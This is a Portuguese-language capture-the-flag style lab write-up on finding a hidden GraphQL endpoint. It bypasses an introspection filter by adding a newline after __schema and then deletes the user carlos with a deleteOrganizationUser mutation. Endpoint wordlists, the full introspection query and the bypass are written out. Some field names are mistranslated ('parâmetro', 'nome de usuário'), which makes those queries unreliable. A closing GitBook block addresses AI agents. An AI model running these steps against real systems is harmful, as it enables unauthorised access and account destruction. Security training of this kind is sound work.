> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/graphql/graphql-cached-endpoint-discovery.md).

# Descoberta de Endpoint em Cache do GraphQL

### Encontrando um endpoint GraphQL oculto

**Contexto do laboratório**

Os recursos de gerenciamento de usuários deste laboratório são baseados em um GraphQL **oculto** endpoint. / Não é possível descobrir isso simplesmente navegando pelo site, e **PlotQL** mecanismos de defesa estão em vigor.

**Objetivo:**

* Identifique o endpoint GraphQL oculto
* Excluir usuário **carlos**

<figure><img src="/files/7e43e59f8c7e404ff24c9f3a5881a92549301857" alt=""><figcaption></figcaption></figure>

**Reconhecimento inicial**

Ao navegar normalmente pela aplicação, nenhum indício visível revela o uso de GraphQL. / Portanto, é necessário testar manualmente os caminhos GraphQL mais comuns.

**Testando rotas comuns do GraphQL**

As seguintes rotas são testadas

```bash
/graphql
/graphiql
/v1/graphql
/v2/graphql
/v3/graphql
/v1/graphiql
/v2/graphiql
/v3/graphiql
/playground
/v1/playground
/v2/playground
/v3/playground
/api/v1/playground
/api/v2/playground
/api/v3/playground
/console
/api/graphql
/api/graphiql
/explorer
/api/v1/graphql
/api/v2/graphql
/api/v3/graphql
/api/v1/graphiql
/api/v2/graphiql
/api/v3/graphiql
```

A rota **`/api`** responde com a seguinte mensagem:

```bash
"Consulta não presente"
```

Isso indica claramente a presença de um endpoint GraphQL ativo.

<figure><img src="/files/b4745162d73921870e1a4f48db3f0bf07cb1b683" alt=""><figcaption></figcaption></figure>

**Verificação do filtro de introspecção**

Uma simples requisição de introspecção é enviada via URL:

```bash
api?query={__schema{types{name}}}
```

Resposta do servidor:

`A introspecção do GraphQL não é permitida, mas a consulta continha __schema ou __type`

<figure><img src="/files/bfb487255b74a75c0329e9111b5e404936125f99" alt=""><figcaption></figcaption></figure>

O mesmo bloqueio ocorre ao enviar uma requisição completa de introspecção via Burp ou GraphiQL.

{% code overflow="wrap" %}

```bash
query IntrospectionQuery {
    __schema {
        queryType {
            parâmetro
        }
        mutationType {
            parâmetro
        }
        subscriptionType {
            parâmetro
        }
        types {
            ...FullType
        }
        directives {
            parâmetro
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    parâmetro
    description
    fields(includeDeprecated: true) {
        parâmetro
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        parâmetro
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    parâmetro
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    parâmetro
    ofType {
        kind
        parâmetro
        ofType {
            kind
            parâmetro
            ofType {
                kind
                parâmetro
            }
        }
    }
}
```

{% endcode %}

<figure><img src="/files/092e81be2ace95c4e80d1a27b628e018ccfbc3e8" alt=""><figcaption></figcaption></figure>

**Contornando o bloqueio de introspecção**

Para contornar o filtro baseado em palavras-chave `__schema` e `__type`, uma **quebra de linha** é adicionada antes da chave de abertura:

```graphql
__schema
     {
```

Essa pequena modificação permite que a requisição seja aceita e processada pelo servidor.

<figure><img src="/files/3504e696e8e2b21f4c1150368f26172dfabff45e" alt=""><figcaption></figcaption></figure>

**Análise do diagrama GraphQL**

Assim que a introspecção é aceita, as requisições descobertas são enviadas para **mapa do site** para serem analisadas mais facilmente.

<figure><img src="/files/0f484ffe0e0c1c6731c97c9bf9835d4e9e9104b9" alt=""><figcaption></figcaption></figure>

Duas requisições importantes são identificadas.

<figure><img src="/files/8c587802c2b9dac64844888627e03e3d99289d7c" alt=""><figcaption></figcaption></figure>

**Recuperação de um usuário por ID**

Requisição para obter o nome do usuário a partir de seu identificador:

```graphql
query($id: Int!) {
  getUser(id: $id) {
    id
    nome de usuário
  }
}
```

Ao fornecer o seguinte ID:

```json
{
    "id":3
}
```

É identificado que o usuário com o ID **3** corresponde a **carlos**.

<figure><img src="/files/25e8e1a3e7f12c44d7b4f0d13d8756e285ba8753" alt=""><figcaption></figcaption></figure>

**Exclusão do usuário carlos**

Uma transferência remove um usuário da organização:

```graphql
mutation($input: DeleteOrganizationUserInput) {
  deleteOrganizationUser(input: $input) {
    usuário {
      id
      nome de usuário
    }
  }
}
```

Payload usado:

```graphql
{
  "input": {
    "id": 3
  }
}
```

O usuário **carlos** é então excluído com sucesso.

<figure><img src="/files/37c89baf77e70d9fdd4ae749ae7ab35549c152be" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/graphql/graphql-cached-endpoint-discovery.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
